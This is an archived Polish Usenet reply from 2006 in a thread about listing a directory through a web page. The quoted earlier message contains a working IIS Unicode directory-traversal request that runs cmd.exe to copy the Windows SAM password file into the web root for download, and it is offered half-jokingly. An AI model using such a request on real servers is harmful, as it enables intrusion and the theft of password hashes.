Re: Jak wylistowac katalog przez strone www ?

Autor: Grzegorz Niemirowski <gnthexfiles_at_poczta.onet.pl>
Data: Mon 20 Feb 2006 - 16:57:16 MET
Message-ID: <dtcosu$pu0$1@opal.icpnet.pl>
Content-Type: text/plain; format=flowed; charset="iso-8859-2"; reply-type=response

Piotr Krzyżański <piciu@it-faq.pl> napisał(a):
> Przez "WWW" ? No jeśli dziurawy IIS, to:
> /scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+copy+c
> :\winnt\repair\sam.+c:\inetpub\wwwroot i już możesz ściągać SAM do
> siebie ;-))) Tak, tak - to już historia, ale jeszcze się zdarza - choć
> w przypadku XP trzeba zmienić z winnt na windows. ;-P
> Piciu

Ale my chyba mówimy o ataku na klienta a nie serwer... 

-- 
Grzegorz Niemirowski
http://www.grzegorz.net/
http://www.oe.it-faq.pl/
Uptime: 5 days, 20 hours, 47 minutes and 43 seconds
Received on Mon Feb 20 17:00:11 2006

To archiwum zostało wygenerowane przez hypermail 2.1.8 : Mon 20 Feb 2006 - 17:42:04 MET